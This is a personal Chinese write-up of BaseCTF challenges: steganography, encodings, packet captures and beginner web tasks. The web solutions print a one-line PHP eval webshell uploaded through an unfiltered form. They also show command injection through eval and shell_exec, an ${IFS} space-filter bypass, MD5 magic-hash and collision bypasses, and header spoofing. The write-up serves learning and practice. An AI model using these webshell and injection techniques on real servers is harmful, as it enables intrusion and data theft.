因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧
MISC 你也喜欢圣物吗 鲁迪是个老hentai!
附件下载下来有两个文件
sweeeeeet.png
where_is_key.zip(加密,里面有个where_is_key.zip)
先用TweakPNG分析一下,提示我们有冗余数据
在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符
赛博厨师解码一下,发现是一段提示
告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from PIL import Imageimport sysdef toasc (strr ): return int (strr, 2 ) def decode (str1, str2, str3 ): b = "" im = Image.open (str2) lenth = int (str1) * 8 width, height = im.size[0 ], im.size[1 ] count = 0 for h in range (height): for w in range (width): pixel = im.getpixel((w, h)) if count % 3 == 0 : count += 1 b = b + str ((mod(int (pixel[0 ]), 2 ))) if count == lenth: break if count % 3 == 1 : count += 1 b = b + str ((mod(int (pixel[1 ]), 2 ))) if count == lenth: break if count % 3 == 2 : count += 1 b = b + str ((mod(int (pixel[2 ]), 2 ))) if count == lenth: break if count == lenth: break with open (str3, "w" , encoding="utf-8" ) as f: for i in range (0 , len (b), 8 ): stra = toasc(b[i : i + 8 ]) f.write(chr (stra)) print ("sussess" ) def plus (string ): return string.zfill(8 ) def get_key (strr ): with open (strr, "rb" ) as f: s = f.read() string = "" for i in range (len (s)): string = string + "" + plus(bin (s[i]).replace("0b" , "" )) return string def mod (x, y ): return x % y def encode (str1, str2, str3 ): im = Image.open (str1) width, height = im.size[0 ], im.size[1 ] print ("width:" + str (width)) print ("height:" + str (height)) count = 0 key = get_key(str2) keylen = len (key) for h in range (height): for w in range (width): pixel = im.getpixel((w, h)) a = pixel[0 ] b = pixel[1 ] c = pixel[2 ] if count == keylen: break a = a - mod(a, 2 ) + int (key[count]) count += 1 if count == keylen: im.putpixel((w, h), (a, b, c)) break b = b - mod(b, 2 ) + int (key[count]) count += 1 if count == keylen: im.putpixel((w, h), (a, b, c)) break c = c - mod(c, 2 ) + int (key[count]) count += 1 if count == keylen: im.putpixel((w, h), (a, b, c)) break if count % 3 == 0 : im.putpixel((w, h), (a, b, c)) im.save(str3) if __name__ == "__main__" : if "-h" in sys.argv or "--help" in sys.argv or len (sys.argv) < 2 : print ("Usage: python test.py <cmd> [arg...] [opts...]" ) print (" cmds:" ) print (" encode image + flag -> image(encoded)" ) print (" decode length + image(encoded) -> flag" ) sys.exit(1 ) cmd = sys.argv[1 ] if cmd != "encode" and cmd != "decode" : print ("wrong input" ) sys.exit(1 ) str1 = sys.argv[2 ] str2 = sys.argv[3 ] str3 = sys.argv[4 ] if cmd != "encode" and cmd != "decode" : print ("Wrong cmd %s" % cmd) sys.exit(1 ) elif cmd == "encode" : encode(str1, str2, str3) elif cmd == "decode" : decode(str1, str2, str3)
然后运行命令
1 2 $ python steg.py decode 64 .\sweeeeeet.png flag.txt # 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置
因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1
(真就鲁迪啊)
然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码
看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密
ZipCracker: https://github.com/asaotomo/ZipCracker
结果跟我想的一样,它是个伪加密
打开里面的flag.txt
文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)
拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的
拿着后面再bake一次就出来了
海上遇到了鲨鱼 来看看网络鲨鱼吧
附件下载下来是个.pcapng
文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)
发现里面有几个请求
对/wireshark/flag.php
文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB
,估计是倒转了,所以我们直接转回来就行了
1 2 original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB" print (original_string[::-1 ])
然后就能得到flag了
Base Base啊Base,去学学编码吧
这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======
五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了
人生苦短,我用Python 下载下来一个Python文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import base64import hashlibdef abort (id ): print ('You failed test %d. Try again!' % id ) exit(1 ) print ('Hello, Python!' )flag = input ('Enter your flag: ' ) if len (flag) != 38 : abort(1 ) if not flag.startswith('BaseCTF{' ): abort(2 ) if flag.find('Mp' ) != 10 : abort(3 ) if flag[-3 :] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}' : abort(4 ) if ord (flag[-1 ]) != 125 : abort(5 ) if flag.count('_' ) // 2 != 2 : abort(6 ) if list (map (len , flag.split('_' ))) != [14 , 2 , 6 , 4 , 8 ]: abort(7 ) if flag[12 :32 :4 ] != 'lsT_n' : abort(8 ) if '😺' .join([c.upper() for c in flag[:9 ]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S' : abort(9 ) if not flag[-11 ].isnumeric() or int (flag[-11 ]) ** 5 != 1024 : abort(10 ) if base64.b64encode(flag[-7 :-3 ].encode()) != b'MG1QbA==' : abort(11 ) if flag[::-7 ].encode().hex () != '7d4372733173' : abort(12 ) if set (flag[12 ::11 ]) != {'l' , 'r' }: abort(13 ) if flag[21 :27 ].encode() != bytes ([116 , 51 , 114 , 95 , 84 , 104 ]): abort(14 ) if sum (ord (c) * 2024_08_15 ** idx for idx, c in enumerate (flag[17 :20 ])) != 41378751114180610 : abort(15 ) if not all ([flag[0 ].isalpha(), flag[8 ].islower(), flag[13 ].isdigit()]): abort(16 ) if '{whats} {up}' .format (whats=flag[13 ], up=flag[15 ]).replace('3' , 'bro' ) != 'bro 1' : abort(17 ) if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479' : abort(18 ) print ('🎉 You are right!' )import this
这里给了很多信息
flag的长度为38
flag的头一定为BaseCTF{
flag的第11和12位一定为Mp
flag的最后三位一定为3x}
flag的最后一位的字符的ASCII码为125(}
)
flag里面下划线_
的数量整除2的结果为2,也就是下划线数量为4~5个
flag中使用下划线_
分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
flag中13~33位中一定含有字符lsT_n
flag的前9位为BaseCTF{s
或者BaseCTF{S
flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==
(0mPl
)
flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173
(}Crs1s
)
flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l
或者r
flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]
(t3r_Th
)
flag的第18位到20位的字符对应的ASCII值乘以2024_08_15
的指数总和等于41378751114180610
flag的第一位为字母(已经得知是B
),第九位为小写字母,第14位为数字
flag的第14位为3
,第16位为1
flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
B
a
s
e
C
T
F
{
s
M
p
l/r
3
_
1
_
t
3
r
_
T
h
_
C
0
m
P
l
3
x
}
综合这些条件,我们就可以得到上面这个表所示的提示
然后我就开始猜了,这个跟英语的功底有一定关系的
结合第9~14位为(未知用*
代替)s*Mp*3
,我的想法是simple
这个单词,所以我猜了s1Mp13
第16~17位为两个字母的单词,我想到的就是is
,所以我猜了1s
此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x}
,我再猜
第26~29位不是this
就是that
,按照英语的习惯,我猜是个that
,所以这个地方可能为Th4t
此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x}
,就剩下中间的***
了
这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610
的计算方式如下(假设flag的第18到21位为abc)
使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
然后对每个索引进行计算
生成字符的ASCII码,例如a为97
使用a的ASCII码进行运算:97 * 20240815 ** 0
,此处的0是索引
这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)
α β γ
其中,20240815^2 === 409690591864225
, 而41378751114180610 // 409690591864225 = 101
,所以我猜γ=101
(e
)
然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66
,猜测β=66
(B
)
最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95
,猜测α=95
(_
)
此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}
发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对
然后我发现我错了,这里[17:20]
是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x}
,所以我猜测中间那个未知的词为better
,那么就有Bett3r
、BeTt3r
的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}
还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}
都不对,说明Th4t
那个地方应该是错的
那就可能为This
了,也说得通:Simple is better, this complex
所以尝试一下this
,this
可写作This
、Th1s
、ThiS
、This
,都去试试
然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项
所以第八项告诉我们一定是写作BeTt3r
,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}
,但是还有一个错了,根据第八项取得最后一个字母错了,他是n
,所以我就想到了than
这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}
然后还是错了,发现是simple这个单词里面的l
就是l
,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}
过不了第十一项,complex应该为C0mPl3x
(当时打错了),然后是过不了第17项,所以is
应该写作1s
,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}
签到 关注公众号然后签到就有了
根本进不去啊! 这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本
使用Linux的dig命令可以查看到域名下的TXT记录
所以我们dig一下flag.basectf.fun
的TXT记录就出来了
你会算md5吗 下载下来是个Python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 import hashlibflag='BaseCTF{}' output=[] for i in flag: my_md5=hashlib.md5() my_md5.update(i.encode()) output.append(my_md5.hexdigest()) print ("output =" ,output)''' output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf'] '''
这个直接md5碰撞就完事了,写个Python脚本自动生成结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import hashlibimport stringdef generate_md5_dict (): chars = ( string.ascii_uppercase + string.ascii_lowercase + string.digits + "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" ) md5_dict = {} for char in chars: md5_hash = hashlib.md5(char.encode()).hexdigest() md5_dict[md5_hash] = char return md5_dict md5_dictionary = generate_md5_dict() for md5_value, character in md5_dictionary.items(): print (f"MD5: {md5_value} -> Character: {character} " ) output = [ "9d5ed678fe57bcca610140957afab571" , "0cc175b9c0f1b6a831c399e269772661" , "03c7c0ace395d80182db07ae2c30f034" , "e1671797c52e15f763380b45e841ec32" , "0d61f8370cad1d412f80b84d143e1257" , "b9ece18c950afbfa6b0fdbfa4ff731d3" , "800618943025315f869e4e1f09471012" , "f95b70fdc3088560732a5ac135644506" , "0cc175b9c0f1b6a831c399e269772661" , "a87ff679a2f3e71d9181a67b7542122c" , "92eb5ffee6ae2fec3ad71c777531578f" , "8fa14cdd754f91cc6554c9e71929cce7" , "a87ff679a2f3e71d9181a67b7542122c" , "eccbc87e4b5ce2fe28308fd9f2a7baf3" , "0cc175b9c0f1b6a831c399e269772661" , "e4da3b7fbbce2345d7772b0674a318d5" , "336d5ebc5436534e61d16e63ddfca327" , "eccbc87e4b5ce2fe28308fd9f2a7baf3" , "8fa14cdd754f91cc6554c9e71929cce7" , "8fa14cdd754f91cc6554c9e71929cce7" , "45c48cce2e2d7fbdea1afc51c7c6ad26" , "336d5ebc5436534e61d16e63ddfca327" , "a87ff679a2f3e71d9181a67b7542122c" , "8f14e45fceea167a5a36dedd4bea2543" , "1679091c5a880faf6fb5e6087eb1b2dc" , "a87ff679a2f3e71d9181a67b7542122c" , "336d5ebc5436534e61d16e63ddfca327" , "92eb5ffee6ae2fec3ad71c777531578f" , "8277e0910d750195b448797616e091ad" , "0cc175b9c0f1b6a831c399e269772661" , "c81e728d9d4c2f636f067f89cc14862c" , "336d5ebc5436534e61d16e63ddfca327" , "0cc175b9c0f1b6a831c399e269772661" , "8fa14cdd754f91cc6554c9e71929cce7" , "c9f0f895fb98ab9159f51fd0297e236d" , "e1671797c52e15f763380b45e841ec32" , "e1671797c52e15f763380b45e841ec32" , "a87ff679a2f3e71d9181a67b7542122c" , "8277e0910d750195b448797616e091ad" , "92eb5ffee6ae2fec3ad71c777531578f" , "45c48cce2e2d7fbdea1afc51c7c6ad26" , "0cc175b9c0f1b6a831c399e269772661" , "c9f0f895fb98ab9159f51fd0297e236d" , "0cc175b9c0f1b6a831c399e269772661" , "cbb184dd8e05c9709e5dcaedaa0495cf" , ] result = "" for item in output: try : result += md5_dictionary[item] except KeyError: print (item) print (result) print (result)
跑一下就出来了
二维码1-街头小广告 Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚
下载下来是个图片
很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去
扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D
拿去URL解码一下就有了
哇!珍德食泥鸭(未做出)
谐音梗扣钱!
flag藏哪了?仔细找找吧 可能就在眼前哦
下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK
两个字符,让我猜测是zip文件
先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx
再把后缀改为docx
,可以正常打开
但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件
海上又遇了鲨鱼 怎么又看到网络鲨鱼了?!!
下载下来还是Wireshark包,但是这次是ftp协议
这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data
来过滤我们需要的ftp数据包,然后选择protocol
写着FTP-DATA
的包,右键它选择追踪
在弹出的窗口中,选择原始数据,然后另存为文件
出来的zip文件有密码,说明我们得回去wireshark里面找
回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#
,拿去解压一下zip,发现是正确的,就得到flag了
黑丝上的flag 关注VY-netcat喵, star关注VY-netcat谢谢喵
嗯,下载下来是个图片,确实是黑丝……
然而调下亮度就出来了,没啥技术含量
另:其实只要你眼里够好,盯帧也能看出来
Aura 酱的旅行日记 <图寻擂台> Aura 酱来旅游啦, 快来看看他到了什么地方吧
答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}
一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你
一血是不可能一血的,怎么抢得过那些手速快的哦~
这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对
百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆
从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号
,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}
前辈什么的最喜欢了 下载下来是个base64编码后的图片文本
丢去转为图片,发现打不开,用010Editor打开查找BaseCTF
可以找到flag内容
Web HTTP 是什么呀 成为嘿客的第一步!当然是 HTTP 啦! 可以多使用搜索引擎搜索每个参数的含义以及传参方式
💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?
打开网页后有如下要求
GET参数basectf=we1c%00me
POST参数Base=fl@g
Cookie传入c00k13=i can't eat it
User-Agent传入Base
Referer传入Base
IPX-Forwarded-For
传入127.0.0.1
一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下
来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag
把他提供的内容拿去base64解码一下就有了
喵喵喵´•ﻌ•` 小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…..
进来以后是PHP源码
1 2 3 4 5 6 7 8 9 <?php highlight_file (__FILE__ );error_reporting (0 );$a = $_GET ['DT' ];eval ($a );?>
很明显了就是RCE,我们尝试传入phpinfo();
验证了我们的猜想
但是我传入了exec("ls")
和shell_exec("ls")
都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")
可以,我就用来找flag的位置了
找到了,cat出来就有了
md5绕过欸 绕哇绕哇绕
打开了还是PHP源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;if (isset ($_GET ['name' ]) && isset ($_POST ['password' ]) && isset ($_GET ['name2' ]) && isset ($_POST ['password2' ]) ){ $name = $_GET ['name' ]; $name2 = $_GET ['name2' ]; $password = $_POST ['password' ]; $password2 = $_POST ['password2' ]; if ($name != $password && md5 ($name ) == md5 ($password )){ if ($name2 !== $password2 && md5 ($name2 ) === md5 ($password2 )){ echo $flag ; } else { echo "再看看啊,马上绕过嘞!" ; } } else { echo "错啦错啦" ; } } else { echo '没看到参数呐' ; } ?>
这里要求我们GET参数name
和name2
,POST内容password
和password2
当name
与password
不相等并且name
的md5值与password
的md5值相等
这里出现了四种PHP运算符:
!=
不等运算符,会进行类型转换,然后比较两个变量的值是否不等
==
相等运算符,会进行类型转换,然后比较两个变量的值是否相等
!==
不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
===
全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True
不等/相等绕过 这题第一个条件$name != $password && md5($name) == md5($password)
,前半很好满足,后半看似要找两个md5值相同的内容,但其实不是
我们上面说了,==
会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx
,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过
所以我们可以传入name=QNKCDZO
,password=240610708
,这样分别对应了0e830400451993494058024219903391
和0e462097431906509019562988736854
就绕过了第一层
附:抄过来的md5以0e开头的常见字符串
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514
s1502113478a 0e861580163291561247404381396064
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s155964671a 0e342768416822451524974117254469
s1184209335a 0e072485820392773389523109082030
s1665632922a 0e731198061491163073197128363787
s1502113478a 0e861580163291561247404381396064
s1836677006a 0e481036490867661113260034900752
s1091221200a 0e940624217856561557816327384675
s155964671a 0e342768416822451524974117254469
s1502113478a 0e861580163291561247404381396064
s155964671a 0e342768416822451524974117254469
s1665632922a 0e731198061491163073197128363787
s155964671a 0e342768416822451524974117254469
s1091221200a 0e940624217856561557816327384675
s1836677006a 0e481036490867661113260034900752
s1885207154a 0e509367213418206700842008763514
s532378020a 0e220463095855511507588041205815
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s214587387a 0e848240448830537924465865611904
s1502113478a 0e861580163291561247404381396064
s1091221200a 0e940624217856561557816327384675
s1665632922a 0e731198061491163073197128363787
s1885207154a 0e509367213418206700842008763514
s1836677006a 0e481036490867661113260034900752
s1665632922a 0e731198061491163073197128363787
s878926199a 0e545993274517709034328855841020
不全等/全等绕过 这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西
Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md
我先写了一个文件叫做HelloWorld.txt
,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞
1 ./fastcoll_v1.0 .0 .5 .exe -p HelloWorld.txt -o hw1.txt hw2.txt
因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function readmyfile ($path ) { $fh = fopen ($path , "rb" ); $data = fread ($fh , filesize ($path )); fclose ($fh ); return $data ; } echo '二进制md5加密 ' . md5 ( (readmyfile ("hw1.txt" )));echo "</br>" ;echo 'url编码 ' . urlencode (readmyfile ("hw1.txt" ));echo "</br>" ;echo '二进制md5加密 ' .md5 ( (readmyfile ("hw2.txt" )));echo "</br>" ;echo 'url编码 ' . urlencode (readmyfile ("hw2.txt" ));echo "</br>" ;
放到我的PHPStudy环境,访问就可以得到了
1 2 3 4 5 二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40 二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40
然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!
不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了
然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了
这波Hackbar背大锅
补充:md5全等绕过的第二种做法 传入name2[]=1
和password2[]=3
(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null
A Dark Room 文字游戏 玩得开心!
打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12
好吧,这就得到flag了
upload 快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉
生成了一个webshell.php
文件,内容如下
1 2 <?php eval ($_POST ["pass" ]);
上传后可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php error_reporting (0 );if (isset ($_FILES ['file' ])) { highlight_file (__FILE__ ); $file = $_FILES ['file' ]; $filename = $file ['name' ]; $filetype = $file ['type' ]; $filesize = $file ['size' ]; $filetmp = $file ['tmp_name' ]; $fileerror = $file ['error' ]; if ($fileerror === 0 ) { $destination = 'uploads/' . $filename ; move_uploaded_file ($filetmp , $destination ); echo 'File uploaded successfully' ; } else { echo 'Error uploading file' ; } } ?> <!DOCTYPE html> <html lang="en" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>上传你喜欢的图片吧!</title> </head> <body> <form action="" method="post" enctype="multipart/form-data" > <input type="file" name="file" > <button type="submit" >上传!</button> </form> <?php $files = scandir ('uploads' ); foreach ($files as $file ) { if ($file === '.' || $file === '..' ) { continue ; } echo "<img src='uploads/$file ' style=\"max-height: 200px;\" />" ; } ?> </body> </html>
发现上传后的文件在uploads
文件夹里,且没有被改名字,直接打开蚁剑进行连接
可以在根目录下找到flag文件,打开就能看到flag了
一起吃豆豆 进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦
第一种做法:修改通关条件 在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关
然后就达到了跳关的目的,拿到了Flag
第二种做法:直接找到通关信息 搜索“结束”这个关键词,可以看到结束页面的信息
把结束页面经过Base64编码的消息拿去解码就可以得到flag了
你听不到我的声音 我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
进来是PHP源码
1 2 3 <?php highlight_file (__FILE__ );shell_exec ($_POST ['cmd' ]);
因为shell_exec
是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出
我们先传入cmd=find / -iname "flag" > output.txt
,通过>
来把输出写到output.txt
里面去,我们再去访问output.txt
于是我们知道了flag在/flag
文件内,再给它读出来,就成功拿到flag了
数学大师 Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?
每一道题目需要在 5 秒内解出, 传入到 $_POST['answer']
中, 解出 50 道即可, 除法取整
说白了就是写脚本,写个脚本算出来然后提交就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import httpxclient = httpx.Client() url = "http://challenge.basectf.fun:30394/" response = client.get(url) print (response.text)formula = response.text.split(" " )[-1 ].replace("?" , "" ).replace("×" , "*" ).replace("÷" , "//" ) while True : response = client.post( url, data={ "answer" : eval (formula) } ) formula = response.text.split(" " )[-1 ].replace("?" , "" ).replace("×" , "*" ).replace("÷" , "//" ) if "{" in response.text and "}" in response.text: print (response.text) break else : print (response.text)
RCEisamazingwithspace RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
说人话就是禁用了空格,从代码也能看出来
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ );$cmd = $_POST ['cmd' ];if (preg_match ('/\s/' , $cmd )) { echo 'Space not allowed in command' ; exit ; } system ($cmd );
这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}
